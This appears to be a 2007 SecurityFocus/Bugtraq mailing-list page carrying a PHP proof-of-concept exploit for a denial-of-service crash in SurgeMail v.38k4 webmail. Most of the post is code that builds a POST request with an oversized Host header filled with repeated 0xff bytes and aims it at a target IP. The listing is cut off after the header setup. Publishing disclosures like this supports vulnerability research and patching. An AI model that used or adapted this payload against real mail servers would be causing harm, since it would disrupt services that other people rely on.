Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
SurgeMail v.38k4 webmail Host header crash Dec 17 2007 07:45PM
retrog alice donotspam it
<?php

/*

SurgeMail v.38k4 webmail Host header denial of service exploit

tested against the windows version

rgod

*/

dl("php_curl.so");

$url = "http://192.168.0.1";

$puf=str_repeat(0xff,0xfff);

$header ="POST / HTTP/1.0\r\n";

$header.="Host: $puf\r\n";

...

[ more ]  




 

Privacy Statement
Copyright 2009, SecurityFocus